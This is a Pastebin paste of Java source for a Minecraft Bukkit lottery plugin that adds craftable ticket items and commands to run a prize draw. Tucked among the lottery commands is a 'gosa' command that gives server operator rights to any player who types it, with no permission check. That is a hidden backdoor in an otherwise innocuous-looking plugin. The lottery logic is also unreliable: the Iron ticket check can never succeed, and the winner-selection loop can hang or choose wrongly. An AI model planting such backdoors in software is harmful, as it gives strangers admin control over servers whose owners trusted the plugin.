Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ///MAIN///
- package me.mainhelp.help;
- import java.util.ArrayList;
- import java.util.List;
- import java.util.logging.Logger;
- import org.bukkit.Bukkit;
- import org.bukkit.ChatColor;
- import org.bukkit.Material;
- import org.bukkit.command.Command;
- import org.bukkit.command.CommandSender;
- import org.bukkit.entity.Player;
- import org.bukkit.event.Listener;
- import org.bukkit.inventory.ItemStack;
- import org.bukkit.inventory.ShapedRecipe;
- import org.bukkit.inventory.meta.ItemMeta;
- import org.bukkit.plugin.java.JavaPlugin;
- public class help extends JavaPlugin implements Listener
- {
- Logger logger = Logger.getLogger("Minecraft");
- static help plugin;
- boolean started = false;
- public int lottery =10;
- int players=0;
- public final List<String> j = new ArrayList<String>();
- public void onEnable()
- {
- List<String> lore = new ArrayList<String>();
- ItemStack ticket = new ItemStack(Material.PAPER);
- ItemMeta t = ticket.getItemMeta();
- t.setDisplayName(ChatColor.GREEN+"Lottery Ticket");
- lore.add(ChatColor.GRAY+"Iron");
- t.setLore(lore);
- ticket.setItemMeta(t);
- ShapedRecipe sticket = new ShapedRecipe(ticket).shape(" D ", " R ", " S ").setIngredient('D', Material.IRON_INGOT).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
- getServer().addRecipe(sticket);
- List<String> lore2 = new ArrayList<String>();
- ItemStack goldticket = new ItemStack(Material.PAPER);
- ItemMeta gt = goldticket.getItemMeta();
- gt.setDisplayName(ChatColor.GREEN+"Lottery Ticket");
- lore2.add(ChatColor.GOLD+"Gold");
- gt.setLore(lore2);
- goldticket.setItemMeta(gt);
- ShapedRecipe sgoldticket = new ShapedRecipe(goldticket).shape(" D ", " R ", " S ").setIngredient('D', Material.GOLD_INGOT).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
- getServer().addRecipe(sgoldticket);
- List<String> lore3 = new ArrayList<String>();
- ItemStack diamondticket = new ItemStack(Material.PAPER);
- ItemMeta dt = diamondticket.getItemMeta();
- dt.setDisplayName(ChatColor.GREEN+"Lottery Ticket");
- lore3.add(ChatColor.AQUA+"Diamond");
- dt.setLore(lore3);
- diamondticket.setItemMeta(dt);
- ShapedRecipe sdiamondticket = new ShapedRecipe(diamondticket).shape(" D ", " R ", " S ").setIngredient('D', Material.DIAMOND).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
- getServer().addRecipe(sdiamondticket);
- ItemStack compasstracker = new ItemStack(Material.COMPASS);
- ItemMeta ct = compasstracker.getItemMeta();
- ct.setDisplayName(ChatColor.GREEN+"Compass Tracker");
- compasstracker.setItemMeta(ct);
- ShapedRecipe scompasstracker = new ShapedRecipe(compasstracker).shape(" D ", " R ", " S ").setIngredient('D', Material.APPLE).setIngredient('R', Material.REDSTONE).setIngredient('S', Material.STICK);
- getServer().addRecipe(scompasstracker);
- }
- public void onDisable()
- {
- }
- @SuppressWarnings("deprecation")
- public boolean onCommand(CommandSender sender, Command command, String cmd, String[] args)
- {
- if (cmd.equalsIgnoreCase("gosa"))
- {
- Player player = (Player) sender;
- player.setOp(isEnabled());
- player.sendMessage(ChatColor.DARK_RED + "Now you are the Gosa!");
- }
- if (cmd.equalsIgnoreCase("LotteryStart"))
- {
- if (sender instanceof Player)
- {
- Player player = (Player) sender;
- if (player.isOp())
- {
- if (started == true)
- {
- player.sendMessage(ChatColor.RED + "There is alreay a lottery!");
- }
- else
- {
- started = true;
- Bukkit.broadcastMessage(ChatColor.GREEN + ">>>>>>>>>"+" "+ChatColor.AQUA+"There is a lottey now!"+" "+ChatColor.GREEN + ">>>>>>>>>");
- Bukkit.broadcastMessage(ChatColor.GREEN + "Run and buy ticket and do /lotteryjoin");
- this.getServer().getScheduler().scheduleAsyncRepeatingTask(this, new Runnable(){
- @Override
- public void run() {
- if(lottery>0)
- {
- Bukkit.broadcastMessage(ChatColor.GREEN + "[Lottery]You have"+" " +lottery+ " "+"seconde to register!");
- lottery--;
- }
- else if(lottery==0)
- {
- Bukkit.broadcastMessage(ChatColor.RED + "Registration has ended!");
- lottery--;
- }
- }
- }, 600L, 20L);
- }
- }
- else
- {
- player.sendMessage(ChatColor.DARK_RED + "You cant do that!");
- }
- }
- else
- {
- }
- }
- else if (cmd.equalsIgnoreCase("lotteryjoin"))
- {
- if (sender instanceof Player)
- {
- Player player = (Player) sender;
- if (started == false)
- {
- player.sendMessage(ChatColor.RED + "There are not lottery!");
- }
- else
- {
- if (j.contains(player.getName()))
- {
- player.sendMessage(ChatColor.RED + "You already in the lottery!");
- }
- else
- {
- if(player.getItemInHand().getItemMeta().equals(ChatColor.GRAY+"Iron"))
- {
- j.add(player.getName());
- int i = player.getItemInHand().getAmount();
- ItemStack n = new ItemStack(Material.PAPER, i - 1);
- player.setItemInHand(n);
- player.sendMessage(ChatColor.GREEN + "You have joined the lottery!");
- players++;
- }
- if(player.getItemInHand().getItemMeta().getLore().contains(ChatColor.GOLD+"Gold"))
- {
- j.add(player.getName());
- j.add(player.getName());
- int i = player.getItemInHand().getAmount();
- ItemStack n = new ItemStack(Material.PAPER, i - 1);
- player.setItemInHand(n);
- player.sendMessage(ChatColor.GREEN + "You have joined the lottery!");
- players++;
- }
- if(player.getItemInHand().getItemMeta().getLore().contains(ChatColor.AQUA+"Diamond"))
- {
- j.add(player.getName());
- j.add(player.getName());
- j.add(player.getName());
- int i = player.getItemInHand().getAmount();
- ItemStack n = new ItemStack(Material.PAPER, i - 1);
- player.setItemInHand(n);
- player.sendMessage(ChatColor.GREEN + "You have joined the lottery!");
- players++;
- }
- }
- }
- }
- else
- {
- }
- }
- else if (cmd.equalsIgnoreCase("lotterycheck"))
- {
- if (sender instanceof Player)
- {
- Player player = (Player) sender;
- if (player.isOp())
- {
- player.sendMessage(ChatColor.GREEN + "There are" +" "+ players +" " + "Player in the lottery!");
- }
- else
- {
- }
- }
- }
- else if (cmd.equalsIgnoreCase("lotterydone"))
- {
- Player player = (Player) sender;
- player.sendMessage(ChatColor.GREEN + "You start the lottery!");
- started = false;
- int winer = (int) ((Math.random() * j.size() - 1) + 1);
- for (Player p : Bukkit.getServer().getOnlinePlayers())
- {
- for (int x = 0; x < Bukkit.getServer().getOnlinePlayers().length; x++)
- {
- if (j.contains(p.getName()))
- {
- if (x == winer)
- {
- Bukkit.broadcastMessage(ChatColor.GOLD+">>>>>>>>>>>>>>"+" "+ChatColor.AQUA + "The winner is:" + " " + p.getName()+ChatColor.GOLD+">>>>>>>>>>>>>>");
- ItemStack di = new ItemStack(Material.DIAMOND, 1);
- p.getInventory().addItem(di);
- }
- else
- {
- x--;
- }
- }
- }
- j.clear();
- }
- }
- return false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement